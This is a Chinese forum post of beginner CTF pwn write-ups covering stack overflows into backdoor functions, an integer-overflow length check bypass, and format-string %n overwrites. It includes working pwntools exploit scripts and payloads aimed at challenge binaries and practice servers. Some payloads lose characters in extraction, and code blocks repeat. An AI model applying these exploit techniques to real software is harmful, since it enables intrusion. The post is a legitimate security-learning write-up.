首页
社区
课程
招聘
[原创]入门栈溢出和格式化字符串覆盖
发表于: 2021-3-29 00:22 8446

[原创]入门栈溢出和格式化字符串覆盖

2021-3-29 00:22
8446

title: 栈溢出和格式化字符串(图片看不见的话请各位师傅开VPN或者用流量)

以下是我花两天时间做的一些题目,选了几道来做笔记以备后用

先来看最简单的

1.jpg

F5反汇编后看见有gets函数然后看了看plt表我们发现了个fun函数

2.jpg

发现了bin\sh那我们就直接利用栈溢出漏洞

3.jpg

点击v4看见其地址为0X0F

之后找到fun函数的地址

4.jpg

由此payload便可以开始构建了

payload=b'a'*(0x0f+0x08)+p64(0x0401186)

完整exp如下

执行脚本cat flag 就OK啦

这个题是C++编写的我就遇见过一次,蛮好玩的,开始不认真还不会呢

题源https://buuoj.cn/challenges#pwn1_sctf_2016里面的第四题

上图看反汇编伪代码

5.jpg

这主函数是非常干净啊我们去看子函数vuln

6.jpg

这里重点在于我箭头所指向的两行代码,输入I全部会替换成you

我们在看看fgets函数那对变量s限制输入32个字母,看注释可以知道

s的空间大小是60,刚好上面I替换you可以利用下

我们输入20个I就可以使其造成栈溢出

点击s可以看见s地址(我就懒得弄了直接上payload)

get_flag=0x08048fd#这个函数里面有cat flag.txt

payload=b'I' 20+b'a' 4+p32(get_flag)

所以完成exp如下

第一种后门类他是有可以直接点

第二种虚假后门就要多花上几秒钟

先看主函数

7.png

一如既往的空空如也关键的在于vul和door函数

后门类的door直接就抓取flag了这里就比较皮┗|`O′|┛ 嗷~~

8.jpg

遇见这个我们思路就是先看看他有没有/bin/sh

同时按下shift F12可以查找有没有bin/sh

刚好这题有(要没有我这菜鸡现在还做不来)

9.png

然后双击查看其地址

10.jpg

bin=0x0804a02c

我们接下来再看看 _system的地址(这里要注意还有一个system那个不是我们要的我们要的是 _system)

如图

11.jpg

_system=0x08048400

之后我们回到vul函数看gets函数里面变量的地址

12.jpg

so 直接上exp:

这个题是我在靶场随便扒拉的一个,我先讲解这个然后攻防世界有类似的

pwn的新手区 第三题 when did you born有兴趣的自己去康康

下面开始讲解

13.jpg

主函数比较特殊的就func函数我们先去康康

14.jpg

可以看见啊这个v2是float型 v1int型

然后gets是v1但是判断要用v2才可以判断

很多萌新就不懂 这个,但是今天我马保国(不是)就来讲讲

我们点击 v1看看他的地址0x030

v2地址0x04

虽然我们输入用的变量是v1但是我们可以填充字符跳到v2去啊

然后再传递题目要的11.28125

这个是要转成16进制的

这里给大家个网站很方便

https://lostphp.com/hexconvert/(这个可以转化10进制浮点数的哦)

直接上exp了

说道这个我就很气自己C语言不老实学基础空中楼阁

看见无符号整形unsigned_int8还想不起来它最大长度是255(1111 1111)

好了咱进入正题

上主函数图

15.png

第一眼就看中了这个名字检查函数

不过我们先看看这个buf数组看注释给了408长度但是这个名字检查函数限定只能用400个长度这里不能搞事情

我们把注意力放到这个名字检查函数上

点击进去康康嗷

16.png

关于unsigned_int8

这里补充一点知识

image-20200326154118709

如图所示嗷

好了咱继续,可以看见函数图里面if判断v3只能在4~7之间

我们的v3上限是255

那么想要整形溢出范围就要控制在259~262之间的字符长度来填充

这里先放着记着这点

接下来我们去看这个函数底部strcpy函数把s的值给到dest

我们去康康dest地址

17.png

dest离返回地址距离0x011+0x04=0x015

然后老样子捞个后门上来玩玩

18.png

getshell=0x0804858b

然后我直接上payload先讲解下这个payload构建

payload=b'a'(0x011+0x04)+p32(0x0804858b)+b'a'(261-0x015-4)

首先字符串填充然后传入后门地址这两个没什么好说的,重点是后门的那块

用来绕过if判断的整型溢出的字符串填充

我们上面提到了判断后范围应当在259-262之间我选261

刚才填充了21个a覆盖到返回地址然后传入4个字节的getshell

(0x8b 0x85 0x04 0x08)

所以要先回到传入地址再减去这四个字节来绕过if判断

说完了直接上exp

先来道长信心的题目(我入坑没碰见这么长信心的题)

http://ctf.mrskye.cn靶场地址 format1

来看看主函数QWQ

19.png

一眼望去只有那个printf不对劲但是又没什么函数利用

然后我就看看有没有bin\sh之类的果然有个flag可是没有后门

我就直接按常规路子走一趟了

20.png

先连接上看看

21.png

直接很常规的啦本来想看可利用变量的偏移值结果直接给我爆装备了

有一说一目前碰见的格式化字符串我都是用一个函数搞定的,

我先不说卖个关子,先来常规写法

这题在攻防世界pwn新手区CGFSB我拿这个举例子吧

22.png

主函数内容是输入两次数据输出两次并且有个抓取flag的判断

第二次输出的massage那个有格式化字符串漏洞整他丫的

先连接上常规探查下

23.png

%p作用在于输出地址方便查看可利用变量的偏移值

aaa对应就是0x20616161这个从左数到他共10个(包括他本身哦)

所以偏移为10

然后我们要利用的变量是pwnme所以我们去找他的地址

pwnme=0x0804a068这个家伙是4个字节的

题目要求是8所以后面要加上4个字符凑数,然后再利用任意地址读取修改

payload=p32(pwnme)+b'a'*4+b'%10$n'

exp

小数覆盖比较不一样

所谓小数覆盖就是比如我判断变量地址是4,结果好家伙要求来个2才满足判断,这个时候

你不能疯狂加了吧,而且python语法没有字符串的减法!

我先上段资料https://ctf-wiki.org/pwn/linux/fmtstr/fmtstr_exploit/#_14

相关知识覆盖小数字这里都有

例题地址http://ctf.mrskye.cn/challenges format5

上主函数图

24.png

如图v2=0x0804a06c(四字节,题目要求v2=2哇哦自闭了刚开始)

如果v2=2直接输出flag

我们先常规探查,发现可利用变量buf偏移值为6先记下

25.png

然后因为这个小数字覆盖的特殊性

payload=b'aa%8$naa'+p32(v2)

其中任意地址读取这个必须放开头

然后虽然一开始我们查看到偏移值是6 按道理应该是

'aa%6$naa' 变成8是因为题目要求是v2=2

我们添加两个字符作为值传递,那么就会占位所以后移动2个

就是'aa%8$naa'这样了

小数覆盖通用任意地址读取通用格式

‘要求字符数量%$(原偏移量+要求字符数量)n要求字符数量’

上完整exp

from pwn import *
r=remote("49.234.71.236",28624)
r.recvuntil("input:")
payload=b'aa%8$naa'+p32(0x0804a06c)
r.sendline(payload)
r.interactive()

介绍个格式化字符串利器fmtstr_payload()

先上例题讲解用法

https://buuoj.cn/challenges#空间对决pwn5

先看主函数

26.jpg

两个亮点第一个格式化字符串漏洞,还有一个数值判断通过后抓flag的

先看整体意思

输入你的名字

输出你的名字

输入你的密码

如果输入的密码==unk_804c044这个变量就给我们flag

但是我们发现了个问题unk_804c044是从服务器那得到的呀我们不知道

但是密码是我们自己定的^_^

所以我们就利用格式化字符串漏洞修改这个值

ok,题目看完了,常规探查

27.png

偏移量为10

如果是常规的payload构造是不是还要考虑填充字符串的长度啊

但是如果我们用fmtstr_payload()就万事大吉一步到位

fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')

第一个参数表示格式化字符串的偏移;

第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT: systemAddress};

第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;

第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。 fmtstr_payload函数返回的就是payload

实际上我们常用的形式是fmtstr_payload(offset,{address1:value1})

例如本题payload

payload=fmtstr_payload(10,{0x0804C044:0x10})

上完整exp

28.png

这个万金油函数不管覆盖大小数的格式化字符串题型都可以写

今天BB了好多,自己感悟更多了希望来看的人也有所感悟

 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
#r=remote("node3.buuoj.cn",26551)
r=process('./pwn1')
payload=b'a'*(0x0F+0x08)+p64(0x0401186)
r.sendline(payload)
r.interactive()
from pwn import *
#r=remote("node3.buuoj.cn",26551)
r=process('./pwn1')
payload=b'a'*(0x0F+0x08)+p64(0x0401186)
r.sendline(payload)
r.interactive()
 
 
 
 
 
 
 
 
 
 
 
 
 
from pwn import *
 
r=process('./tihuan')
 
get_flag=0x08048fd#这个函数里面有cat flag.txt
 
payload=b'I' * 20+b'a' * 4+p32(get_flag)
 
r.sendline(payload)
 
r.interactive()
from pwn import *
 
r=process('./tihuan')
 
get_flag=0x08048fd#这个函数里面有cat flag.txt

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//